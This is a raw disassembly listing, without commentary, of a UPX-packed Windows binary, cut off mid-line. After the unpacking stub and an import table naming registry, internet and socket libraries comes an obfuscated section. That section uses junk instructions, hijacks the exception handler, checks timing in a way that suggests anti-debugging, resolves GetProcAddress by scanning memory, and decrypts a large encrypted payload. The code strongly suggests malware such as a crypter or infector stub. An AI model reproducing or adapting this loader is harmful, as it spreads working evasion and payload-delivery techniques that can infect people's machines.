0EC01388Ch dd 65657246h, 0DBF0060Ch, 470DF923h, 6F4D7465h, 978A5F87h dd 6B4665E2h, 686D614Eh, 74736C01h, 0C01AEF7Bh, 0A956372h dd 79706F43h, 70A40A19h, 45A1816Fh, 4E326578h, 7C52FFF6h dd 6C6F6F54h, 32337067h, 70616E53h, 746F6873h, 4DADDD19h dd 32129C8Ah, 540F7372h, 14AD7305h, 182C358Fh, 80FB05B6h dd 78654E21h, 41616974h, 215FFD54h, 0F76451Eh, 7469616Bh dd 53726F46h, 0B6F6BA21h, 4F7B673Ch, 2C766A62h, 0D9B9E144h dd 8D225AC3h, 3A0B6972h, 0BFBDEC97h, 486573C8h, 0C646E61h dd 0C25E2447h, 8B6C3BDh, 5A61D26Eh, 0B5CDB3F0h, 0A3449711h dd 14796456h, 0B6DF75BBh, 2B61984Ch, 6F666E49h, 6509530Fh dd 37800670h, 9C496218h, 64656B26h, 64D98845h, 6EB328B3h dd 92E7FB36h, 12E0D0CDh, 6464410Bh, 0F7B30F72h, 4C0B111Dh dd 61726269h, 0E68AB567h, 4D2B60DAh, 36137C82h, 0D5CB080Bh dd 0C363CF8Eh, 547B42DAh, 75888169h, 4915DE65h, 0E94D8AD8h dd 1BDA3478h, 0DD29B36h, 0F239C45Dh, 4F116610h, 78455A62h dd 0B3612DB6h, 630ADF31h, 9B9E6D13h, 522DC6E0h, 87B591Bh dd 1766C0E0h, 38657A86h, 0A3604CA7h, 451585B5h, 0D160C3FCh dd 33759F9Dh, 0A1673A2Bh, 4579654Bh, 0CE40EC3Bh, 0FC18610h dd 5EC00A51h, 11F65AC2h, 5987309Eh, 21E7426Ch, 841CE010h dd 0C517B76h, 0BE6E6241h, 0E2B6853h, 310428A5h, 1AC13F86h dd 3677D985h, 62BB1089h, 440A7DB6h, 720E6112h, 0D61B6669h dd 0CA79B63Ah, 2B758F67h, 616F6C36h, 6FCE436Fh, 6F112C79h dd 67702350h, 0E8F5210h, 38F63F90h, 4114B4D0h, 69757163h dd 74AE7072h, 35494DD8h, 0C3363AA0h, 0DE1359A7h, 0CA7273ECh dd 18B16D06h, 35B2D1CEh, 150F920Eh, 536B99DAh, 445F1D4Dh dd 740AC558h, 685F3FB8h, 3627F9F6h, 2CC46DBh, 4F727907h dd 880110E9h, 9160AD15h, 1CC2D22h, 271DCD34h, 61150E65h dd 14362CC2h, 0BBB4E70Ah, 4906EE15h, 70737766h, 4166B105h dd 9C62834Fh, 424F466h, 0DB616C5Ah, 9B558543h, 370E1141h dd 6705212Ch, 1B866B14h, 6E0306A6h, 74534349h, 8C950E81h dd 0D471A65h, 0A8EDB2CBh, 273FFA1h, 2C010D02h, 392CB2CBh dd 0C17346Fh, 0B2CB2CB2h, 10130409h, 4F45AA16h, 455036AAh dd 0E4FFB60Eh, 59C896B7h, 0E00040D8h, 0B010F00h, 260C0601h dd 68011CB2h, 2334DC12h, 0C6A32510h, 0B31420Eh, 0B7334A02h dd 0C079BA4h, 39341E60h, 10B0364Bh, 2D570607h, 6210805Dh dd 7C64098Ch, 0B0AE3145h, 6A2E1E01h, 0B60D8180h, 269024A6h dd 7C7B64C4h, 0E0049F90h, 0FBE1642Eh, 0D85BA114h, 272A0737h dd 48C016h, 81434BE0h, 54C32Fh, 2 dup(0) db 90h db 0FFh, 2 dup(0) align 10h pusha mov esi, offset dword_31426000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31427BD2 ; --------------------------------------------------------------------------- align 8 loc_31427BC8: ; CODE XREF: UPX1:loc_31427BD9j mov al, [esi] inc esi mov [edi], al inc edi loc_31427BCE: ; CODE XREF: UPX1:31427C66j ; UPX1:31427C7Dj add ebx, ebx jnz short loc_31427BD9 loc_31427BD2: ; CODE XREF: UPX1:31427BC0j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BD9: ; CODE XREF: UPX1:31427BD0j jb short loc_31427BC8 mov eax, 1 loc_31427BE0: ; CODE XREF: UPX1:31427BEFj ; UPX1:31427BFAj add ebx, ebx jnz short loc_31427BEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BEB: ; CODE XREF: UPX1:31427BE2j adc eax, eax add ebx, ebx jnb short loc_31427BE0 jnz short loc_31427BFC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427BE0 loc_31427BFC: ; CODE XREF: UPX1:31427BF1j xor ecx, ecx sub eax, 3 jb short loc_31427C10 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31427C82 mov ebp, eax loc_31427C10: ; CODE XREF: UPX1:31427C01j add ebx, ebx jnz short loc_31427C1B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C1B: ; CODE XREF: UPX1:31427C12j adc ecx, ecx add ebx, ebx jnz short loc_31427C28 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C28: ; CODE XREF: UPX1:31427C1Fj adc ecx, ecx jnz short loc_31427C4C inc ecx loc_31427C2D: ; CODE XREF: UPX1:31427C3Cj ; UPX1:31427C47j add ebx, ebx jnz short loc_31427C38 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C38: ; CODE XREF: UPX1:31427C2Fj adc ecx, ecx add ebx, ebx jnb short loc_31427C2D jnz short loc_31427C49 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427C2D loc_31427C49: ; CODE XREF: UPX1:31427C3Ej add ecx, 2 loc_31427C4C: ; CODE XREF: UPX1:31427C2Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31427C6C loc_31427C5D: ; CODE XREF: UPX1:31427C64j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31427C5D jmp loc_31427BCE ; --------------------------------------------------------------------------- align 4 loc_31427C6C: ; CODE XREF: UPX1:31427C5Bj ; UPX1:31427C79j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31427C6C add edi, ecx jmp loc_31427BCE ; --------------------------------------------------------------------------- loc_31427C82: ; CODE XREF: UPX1:31427C0Cj pop esi mov edi, esi mov ecx, 7Eh loc_31427C8A: ; CODE XREF: UPX1:31427C91j ; UPX1:31427C96j mov al, [edi] inc edi sub al, 0E8h loc_31427C8F: ; CODE XREF: UPX1:31427CB4j cmp al, 1 ja short loc_31427C8A cmp byte ptr [edi], 1 jnz short loc_31427C8A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31427C8F lea edi, [esi+5000h] loc_31427CBC: ; CODE XREF: UPX1:31427CDEj mov eax, [edi] or eax, eax jz short loc_31427D07 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31427CD9: ; CODE XREF: UPX1:31427CFFj mov al, [edi] inc edi or al, al jz short loc_31427CBC mov ecx, edi jns short near ptr loc_31427CEA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31427CEA: ; CODE XREF: UPX1:31427CE2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31427D01 mov [ebx], eax add ebx, 4 jmp short loc_31427CD9 ; --------------------------------------------------------------------------- loc_31427D01: ; CODE XREF: UPX1:31427CF8j call dword ptr [esi+7094h] loc_31427D07: ; CODE XREF: UPX1:31427CC0j popa jmp loc_31422334 ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00012000 ( 73728.) ; Section size in file : 00012000 ( 73728.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31428000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dd 77E805D8h dword_31428090 dd 77E7A5FDh ; DATA XREF: sub_3142A020+3Cr ; sub_3143201B+33r dd 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C3528Dh, 0 dd 77D4C96Ah, 0 dd 7620AFB6h, 0 dd 71AB1A6Dh, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h, 64C02BC3h dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h dd 1E00h, 78h, 75Dh dup(0) ; --------------------------------------------------------------------------- cld clc nop push ebp mov ebp, esp call sub_3142A020 cmc nop call sub_3142A0CC jmp short $+2 mov ebp, 12FFC0h ; DATA XREF: sub_3142A020+Cw nop clc jmp loc_3142A062 ; =============== S U B R O U T I N E ======================================= sub_3142A020 proc near ; CODE XREF: UPX2:3142A006p ; FUNCTION CHUNK AT 3142A0DA SIZE 00000002 BYTES push dword ptr fs:0 mov fs:0, esp add dword ptr ds:loc_3142A014+1, ebp cld cmc mov ecx, ecx xchg ebx, ebx cld jmp short $+2 xor eax, eax push eax push eax push eax push eax push eax push 80000000h push 80000000h push eax push 400h push 200h push 80000000h call ds:dword_31428090 ; GetProcAddress loc_3142A062: ; CODE XREF: UPX2:3142A01Bj cmc xchg ebx, ebx xchg ebx, ebx sub eax, eax loc_3142A069: ; CODE XREF: sub_3142A020+4Fj dec al or al, al jz short loc_3142A073 jnz short loc_3142A069 jmp short loc_3142A0DA ; --------------------------------------------------------------------------- loc_3142A073: ; CODE XREF: sub_3142A020+4Dj stc nop jmp short $+2 cmc call sub_3142A0C8 cmc stc stc add esi, 71h push esi sub edx, edx xor edx, 2988h cmc nop mov ebx, 37h mov ebx, ebx clc loc_3142A099: ; CODE XREF: sub_3142A020+92j call sub_3142A0DC mov ebx, ebx xchg ebx, ebx jmp short $+2 stc add esi, 1 add bx, 8 dec edx cmc cmp edx, 0 ja short loc_3142A099 pop esi jmp short $+2 mov ebx, [ebp-8] mov fs:0, ebx xchg ebx, ebx leave jmp short $+2 jmp esi sub_3142A020 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3142A0C8 proc near ; CODE XREF: sub_3142A020+58p pop esi push esi retn sub_3142A0C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3142A0CC proc near ; CODE XREF: UPX2:3142A00Dp arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_3142A0CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmc ; START OF FUNCTION CHUNK FOR sub_3142A020 loc_3142A0DA: ; CODE XREF: sub_3142A020+51j clc stc ; END OF FUNCTION CHUNK FOR sub_3142A020 ; =============== S U B R O U T I N E ======================================= sub_3142A0DC proc near ; CODE XREF: sub_3142A020:loc_3142A099p mov al, [esi] xor ax, bx clc nop xchg ebx, ebx jmp short $+2 cmc xchg al, [esi] retn sub_3142A0DC endp ; --------------------------------------------------------------------------- db 87h, 0DBh ; --------------------------------------------------------------------------- stc call $+5 mov eax, [esp] cld mov [eax+32BFh], ebx mov ecx, [eax+2978h] mov ebx, [esp+4] and ecx, 20000000h jz short loc_3142A13C pop ecx mov [eax+32C3h], esi push edi pop dword ptr [eax+32C7h] cmp byte ptr [eax+297Ch], 0E8h jnz short loc_3142A133 add ebx, [eax+297Dh] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_3142A13B ; --------------------------------------------------------------------------- loc_3142A133: ; CODE XREF: UPX2:3142A124j mov ebx, [eax+297Eh] push dword ptr [ebx] loc_3142A13B: ; CODE XREF: UPX2:3142A131j pop ebx loc_3142A13C: ; CODE XREF: UPX2:3142A10Dj push ebp mov ebp, eax sub dword ptr [esp+4], 1EF3h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103988h] mov ecx, 0 rep movsb call sub_3142A215 mov ecx, eax call sub_3142A215 sub eax, ecx jz short loc_3142A1E7 cmp eax, 100h ja short loc_3142A1E7 and ebx, 0FFFFF000h loc_3142A17B: ; CODE XREF: UPX2:3142A18Aj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3142A18C loc_3142A184: ; CODE XREF: UPX2:3142A199j sub ebx, 100h jnz short loc_3142A17B loc_3142A18C: ; CODE XREF: UPX2:3142A182j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3142A184 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_3142A1A6: ; CODE XREF: UPX2:loc_3142A1BAj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_3142A1BA cmp dword ptr [eax+5], 6441636Fh jz short loc_3142A1BF loc_3142A1BA: ; CODE XREF: UPX2:3142A1AFj loop loc_3142A1A6 pop ecx jmp short loc_3142A1E7 ; --------------------------------------------------------------------------- loc_3142A1BF: ; CODE XREF: UPX2:3142A1B8j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101141h] mov dx, [eax-17h] call sub_3142A21A jmp short near ptr byte_3142A22F ; --------------------------------------------------------------------------- loc_3142A1E7: ; CODE XREF: UPX2:3142A16Cj ; UPX2:3142A173j ... mov eax, [ebp+10397Dh] and eax, 20000000h jz short loc_3142A213 mov edi, [esp+4] lea esi, [ebp+103981h] lodsd stosd mov ebx, [ebp+1042C4h] movsb mov edi, [ebp+1042CCh] mov esi, [ebp+1042C8h] loc_3142A213: ; CODE XREF: UPX2:3142A1F2j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_3142A215 proc near ; CODE XREF: UPX2:3142A15Ep ; UPX2:3142A165p rdtsc retn sub_3142A215 endp ; --------------------------------------------------------------------------- db 35h, 0F5h ; =============== S U B R O U T I N E ======================================= sub_3142A21A proc near ; CODE XREF: UPX2:3142A1E0p push ebx mov ecx, 283Ch mov ebx, edx loc_3142A222: ; CODE XREF: sub_3142A21A+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_3142A222 pop ebx retn sub_3142A21A endp ; --------------------------------------------------------------------------- byte_3142A22F db 0DDh ; CODE XREF: UPX2:3142A1E5j dd 0CB0000F9h, 1279FA48h, 994D6444h, 8D27AE53h, 0AA8EA71Eh dd 0A950F0E6h, 4F896C79h, 97D91A8Fh, 1EC4D1C0h, 7FA330FEh dd 0F4DC9DA5h, 0B87BA418h, 0D31836DFh, 691E93FBh, 8B517329h dd 0E139AB73h, 44121210h, 3E25F619h, 71090557h, 5A232A9h dd 83B8BB6Eh, 9DC18E46h, 501B1B82h, 636F85BFh, 5E10003Bh dd 0F0A3A9DBh, 873C3C32h, 8D47EBFAh, 271D695Dh, 8BBA4B8Ch dd 0D26A9499h, 0F5BA3FA6h, 9E50453Ah, 263D56DBh, 0A27C4962h dd 0CE0282E7h, 0F30D98A8h, 0DCADAE23h, 0F5451BDh, 2DFF594Fh dd 3B706070h, 0F03C02Ch, 669C8C83h, 0C398872Eh, 2645C8ADh dd 29CE4B2Fh, 2793DDAh, 551AB4C9h, 60C800A4h, 0DE36B628h dd 293AD9BEh, 45A3E247h, 97FC7772h, 528E0E83h, 2FCEB0DEh dd 5D2F9ACh, 12D8D0D5h, 21D8485Eh, 0B51894F1h, 5D789207h dd 0CD86BDE2h, 49BBBE23h, 1DBAD046h, 38FDEA5Fh, 5B9080C0h dd 58799D8Bh, 77ACA018h, 1DC2AF36h, 3655D8DDh, 39FE7CBDh dd 2DFBA10Ah, 0EE3A768Ch, 0C8385AD9h, 4CB9FFBh, 274C4714h dd 41F95994h, 0AD98DFF4h, 81C902D4h, 7FB5B4AAh, 2BE4DF40h dd 6F63E0C5h, 4E36F3CBh, 0D70E9385h, 6D483517h, 3503947h dd 0F1CECE47h, 2F656459h, 0FB546F90h, 9B159095h, 0F324A294h dd 87D6BCB1h, 1DD23A97h, 0B382E8D9h, 1EF29632h, 0B7441563h dd 752BAA1Eh, 356ED5CAh, 0AB3ED65Bh, 0C86C6D61h, 0DDBC2CE2h dd 639D708Dh, 0A8472EA3h, 0E5C4C4BBh, 2F3903CFh, 2E0FFA8Fh dd 5116B859h, 64DFEDFAh, 6D0CFC9Ah, 9747483Dh, 0A95EDC67h dd 3F747281h, 91DE447Fh, 94A0ECD9h, 11885C3Eh, 417941C1h dd 1EE272C0h, 75457524h, 0E80E9E3Dh, 9CCCB717h, 63ABA2Dh dd 0B6EBAF8h, 3569E65Bh, 477C7E71h, 0E328970Ch, 357A88Dh dd 0DD3BB1B2h, 14D4C4F1h, 25D4B85Ah, 0CA70FFF5h, 58371384h dd 72A72C31h, 8D52FC89h, 0AC5928B2h, 0A957C6E6h, 8D090F79h dd 69A0AB1h, 7AC14FBFh, 28F3C334h, 2A57DCC1h, 3DE24C2Dh dd 0A2F7011Eh, 2B9B1112h, 17342410h, 954ACB87h, 1420DDD8h dd 0EFDF67Bh, 8E7A8CEBh, 6EA65268h, 0C3D2BB4Ch, 7399B7C0h dd 22FC8ED9h, 55EF995Ah, 0DB09A905h, 75ABA61Bh, 0F8C3C27Ch dd 10F9B4B8h, 33682559h, 6218FE73h, 0F490D304h, 6027CEADh dd 8BD0FD59h, 235F3067h, 756F4787h, 0C6F760F5h, 8B1872D9h dd 792EDCC7h, 0F2E88B2h, 0A5301EC4h, 3B70700Dh, 80C66C73h dd 3792F6C3h, 0C374A758h, 1090C8ADh, 0CDB61E17h, 34F4F49Bh dd 0DE0AE02Bh, 81604AD9h, 0D334DC2Bh, 0F3244C2Bh, 0C762E225h dd 0BC12296Dh, 171BF1D3h, 30A4B4A7h, 0A45BFF6h, 9BD1D741h dd 3153EBDBh, 7EFCECE1h, 5D129EBEh, 56DBC796h, 993E53B2h dd 9AD95459h, 0B57AFE1Bh, 1FD0608Ah, 1EFC36E1h, 497A395Eh dd 0CD4742A7h, 4BECAD92h, 39EE6FAEh, 0CF041511h, 217FC90Fh dd 9C455240h, 0E72FB46Bh, 40393038h, 5525F202h, 53888D33h dd 0ABDAAB6Ch, 0EA4BB4B9h, 15DA74E5h, 0B5751F82h, 2BF666D5h dd 280E6601h, 7D1CEC82h, 210812Dh, 0B2D9CE43h, 0B68EDB8h dd 5085AD3Bh, 5B80AE17h, 5425D0A8h, 87AC839Fh, 0E28506C7h dd 0A3D67E48h, 3D3EFBF3h, 2197526Fh, 8AC4D81Bh, 61486441h dd 5E7CBC4Bh, 2752E2F4h, 0B9428777h, 0E5700B51h, 0CAAE2EA6h dd 0B5275570h, 1AF4DFF6h, 8985F0F5h, 7522FA7Ah, 946E6F72h dd 0BCB39A53h, 1348469Dh, 0FF0E8A03h, 6C242438h, 0EBCC9F80h dd 0AB25A085h, 0FEB942F2h, 18C4E8B5h, 3DDD4C52h, 3E3D10EDh dd 0A65D71FCh, 0FF1A3A8Ch, 4B4512Fh, 1B517881h, 2499B15Bh dd 476C426Fh, 0E38C8778h, 0B341A88Dh, 941C148h, 0F5D4BE93h dd 5FEA00DFh, 0CB0168F5h, 0A59D960Fh, 9D7C2C4Bh, 7286493Bh dd 7C200EAFh, 8A6EEE57h, 0B05E6CB0h, 7017E570h, 7BA0A5F6h dd 419717E9h, 99FE492Eh, 0F97172F7h, 8B50CBDDh, 5BFA9E4Bh dd 0F15F3429h, 954BCA3Fh, 2B606055h, 0C176F66Bh, 7EF18C81h dd 0EDA22297h, 0D5E9B8ADh, 335BB190h, 4E4F4E7h, 857ED6B6h dd 35F2EB70h, 0CB32BD8h, 553C2C28h, 0A3D047B8h, 0B6E1684Dh dd 0C96EBC37h, 5F948261h, 9AC5669Fh, 0DBB0B5DEh, 48A03FB9h dd 0D28B898Dh, 386EE3A1h, 0B3185968h, 47043BDCh, 8ACD4429h dd 0A54A9807h, 5A322CA6h, 0B0C86308h, 28F8F9FCh, 9ED758C5h dd 0C594BBC9h, 4ABB0DA7h, 0CC98F49Dh, 3066F88Bh, 9963207Bh dd 0E442D74Eh, 72202507h, 0DF21E216h, 260C1908h, 0BCE267C5h dd 1FD4C5D4h, 44DD54C6h, 0FEA293C5h, 618312BAh, 0A29F9383h dd 5D53E174h, 924D5A5Eh, 0EC6CDB47h, 7A203B24h, 0D018820Bh dd 880E414h, 95F773F9h, 5C4F8C4h, 0DA623D2h, 0C2BDAA8Eh dd 56BA0B97h, 0AA6C6896h, 5729EA63h, 8B515E76h, 0E529AE48h dd 4E241951h, 0CF1AA613h, 53ECE918h, 8CF277D5h, 1AD9DDFDh dd 6C9925EBh, 0C68594A6h, 249B1FBFh, 0B27E4A01h, 0F4BEE72h dd 7A4A595Fh, 0ED2B8943h, 4A080D1Fh, 0B70E8E2Eh, 2FE5F2ECh dd 0F1E755FEh, 0C1C8D9F6h, 4EB73EAEh, 0B38D92B4h, 0F8A1BB4h dd 8B717860h, 754FC776h, 46342572h, 0CD23B224h, 590D2404h dd 8CE76E13h, 17FDDF8Dh, 89C34BF7h, 0EAA8ADFFh, 40B73B81h dd 0DEB7F0A4h, 3C63D28Fh, 937D4C61h, 3A32F34Fh, 761E3C58h dd 0C637AD21h, 5A337407h, 0A7EF5C0Bh, 5CFC9E6h, 1F74EEEh dd 0C1B8A986h, 40970EB8h, 0A596B188h, 3863FC6Ch, 814B4D6Dh dd 0EA76BA6Eh, 721C3424h, 0C3079439h, 0A7C3D08h, 0B4C462E6h dd 15E7DFF8h, 6CD257F5h, 0FAA49BC9h, 59832CB1h, 0BB614D90h dd 678FF7Bh, 87632C60h, 0FF12AC52h, 503D3B22h, 0CB3EEE10h dd 3CE1E716h, 0A3A829FCh, 0FC3C2CCh, 7EB416BBh, 0D4AFB9B2h dd 58BC40D4h, 80087C85h, 58EA76h, 8B755145h, 0F723B84Bh dd 58051420h, 0A425F62Ah, 3BE5CAF5h, 80CB76F2h, 0EFEBB8C8h dd 19BE2BA6h, 0DB979D8Ah, 2CAE178Ah, 0B4447568h, 144ACF5Dh dd 62515565h, 0F03C8747h, 5A3E183Ch, 0AF318916h, 3AF8FDCFh dd 87C37C9Fh, 0E7A1B5C1h, 4EBA3A8Ah, 0C5BBEC82h, 0B67F69Eh dd 0E37D7464h, 1D6FDA6Dh, 7B373153h, 0D333A81Fh, 5C151C0Ch dd 0BED2751Eh, 67F2F9FAh, 8FF146E9h, 0F6BCA9D8h, 4CB23795h dd 0FC80BAE9h, 216BEF8Dh, 84527070h, 0F245D348h, 54380241h dd 0D9038725h, 2C0A2808h, 0AAFD6BE0h, 21A4DCDCh, 60C879DBh dd 0C8B5A4A4h, 589205BEh, 89FC929Eh, 3860D173h, 0A64D5C7Ch dd 0D94CDB40h, 7A373B3Bh, 0FB6A992Ch, 3BE1CD01h, 96F37FDDh dd 12FFCAEEh, 62AB36D4h, 0D796D8A3h, 578B1EACh, 0AA686DBFh dd 2A6ED40Fh, 0AB5E5555h, 0F425A949h, 48082F22h, 0BD1C970Ch dd 23C7FC33h, 8CCD70F6h, 10DDC0CAh, 61844AD1h, 0DF8F9285h dd 1782158Eh, 0A2787E68h, 86FCE76h, 7A4A5740h, 0C83A8043h dd 5616012Ch, 0AA1C9426h, 2FF1FDF7h, 0A5C849F2h, 0E9D9D7DEh dd 4AA61CC7h, 0D69C81AFh, 3D8C17A5h, 9278757Ch, 745C77Ah dd 7F12404Ch, 0C8388327h, 52080302h, 0A4F07624h, 0CCCFFE3h dd 90DD40E2h, 0E6B6B0EAh, 72DA3DA1h, 0CFA3B1B6h, 2472F49Ah dd 8B7F1C61h, 0E57C148h, 76232B52h, 0C63DDE27h, 5C111A07h dd 0B0ED0A0Bh, 18CFC8E1h, 6FCF54DFh, 97A9A1A0h, 5B8107A5h dd 0AD9D8BEDh, 367D8E67h, 9B414F7Ah, 0F154F32Fh, 7E3E2220h dd 0DE0AA52Fh, 26341902h, 0B8FE76E9h, 7C6E19Dh, 6CD04CD6h dd 0EBB193BDh, 5B84059Ch dd 0AE746390h, 62C56Fh, 0BE2C4955h, 0FF27B659h, 6C2C3D23h dd 0F8008B13h, 3BEACD79h, 80F468EAh, 1EC0FFD1h, 7DB413D5h dd 0C995DC90h, 53801793h, 0B65A7C98h, 58FA72h, 0BE345145h dd 0C50B9C7Bh, 552531Ch, 0C13ABA2Fh, 14EBE9D3h, 88D14DFBh dd 83C1DDE6h, 56A92B91h, 0E48A81A9h, 3DBF038Ah, 0BE421044h dd 1453F77Ch, 666A4543h, 0D837A72Bh, 61682925h, 0AC2D9916h dd 33F5C2FDh, 8DEF4FEAh, 0B896C0F4h, 77D43C3Dh, 0DD3867B7h dd 3FFDD0F6h, 76E74E15h, 793EEC6Bh, 591280B2h, 5A0C8A19h dd 0AE8F6815h, 0D19638CDh, 398C5812h, 70B23A65h, 5BE333F4h dd 29DE3682h, 0F3791CE9h, 556089DBh, 0BB71257Fh, 0A33DC78h dd 0C3C71C8Dh, 0ED08B607h, 0BC2B2A3Ch, 0C9B0D016h, 63602799h dd 3B5CAF50h, 5F53D0D5h, 0A46BA5D3h, 0C7ECC11Dh, 5D785B34h dd 0F318404Fh, 4DB5BE01h, 5F3E0518h, 0AD00BB0Fh, 1F8840F6h dd 1EC618E1h, 67927634h, 2D06C1B7h, 635D0AFEh, 0CE2CF7ECh dd 0D275C23h, 9A29CDCCh, 4CFF1CDh, 34C2C9C4h, 775C5C51h dd 0BD00160Fh, 395C037Dh, 83529593h, 7FB4DCE9h, 17A04AAFh dd 0C3E08A87h, 41F6040Fh, 845D0C6Bh, 0A3B75D47h, 5C382813h dd 87DB311Ah, 0AA647467h, 4E0B8E90h, 4B851808h, 7CAAC59Bh dd 97ACBC24h, 4A0351C7h, 383A178Eh, 59C0C476h, 0C9B9909h dd 9D2AAA37h, 0F4BFBF1Eh, 9F8453C0h, 0B8E16C71h, 0CD822B57h dd 9C678265h, 472BA55Ch, 2C4D487h, 25F37D40h, 44F918E5h dd 0D48D7904h, 0E70C22D3h, 5D4672A2h, 3A7CC7B0h, 5DB6DE53h dd 0B48B8B97h, 0C5B4C0FAh, 1F602595h, 4039BBA0h, 7FCCCCE8h dd 0D21D9C08h, 0A73F66h, 590E6656h, 6E792419h, 9521A6C2h dd 96996345h, 0A17846DEh, 16282D71h, 8CC342D6h, 4DE23D62h dd 0D393EA3h, 81412BEDh, 68EA7AE1h, 9E000437h, 611696E3h dd 1AAD7121h, 8D52D97Ch, 0B6D5A727h, 0B97EF575h, 6F49D629h dd 0E5B01AABh, 1DBC7426h, 0A9AC37Ch, 8711DCC1h, 26ACF720h dd 0D32C08EDh, 0AA439E39h, 176C2E43h, 954ACA36h, 810122D8h dd 31033F95h, 6F19E542h, 0E8A232A8h, 0C1B0B029h, 26F6DB4Ah dd 4D13E4C9h, 45122F2Ch, 86101005h, 6A834B9Ah, 9AB73C21h dd 9D42ED7Bh, 3B4C14DEh, 70FAF173h, 0DE949489h, 0F5A82273h dd 8FA894B5h, 0DED656CAh, 0A7D29E74h, 0C0FE09F7h, 0E21C3C89h dd 137EAE23h, 0F40AC39h, 0F70CDA4Fh, 0C4277037h, 0C1B868EEh dd 0EA55AF91h, 0FDB33630h, 0F99999BDh, 28B40FD1h, 0BFF4F481h dd 0C0F5D8BFh, 0EB301E2Fh, 0F5C033BDh, 7F181C1Ah, 0AD62E353h dd 67CC873Ah, 0D98E0CA3h, 50BE3166h, 80E33ABFh, 78C6A405h dd 0E56D36CFh, 96AEFC9Bh, 0C8EDC450h, 0F33816AFh, 0FCFE3B6Ah dd 8AAB0299h, 0B57AD441h, 19C4D7F8h, 0B9D27CDCh, 76A83B2Ch dd 3E6942B7h, 0FAC8B20Dh, 69BEC510h, 9F5454A9h, 0F0E5C85Fh dd 0FB200E67h, 934E02BAh, 53A35C51h, 288DFA43h, 5398B777h dd 0E30BE1C0h, 22B4A496h, 95CA4E7Dh, 0AA95EAEBh, 0C57BFDADh dd 340C1C14h, 6DB72F0Eh, 38283Dh, 4BB19892h, 0A76BA4DDh dd 0C57AFB70h, 5A80148Ah, 0CF26269Bh, 0C1ACC98Bh, 12D26C47h dd 0B3E9E959h, 69C0FEF3h, 5E52E57Ch, 3B63FA21h, 80023572h dd 0A0101084h, 66A2472Eh, 9BD3021Dh, 610D67DEh, 0A0AE3E9Ch dd 0ACB0582h, 25DA5A10h, 0A5647568h, 516C86EBh, 0E71C1079h dd 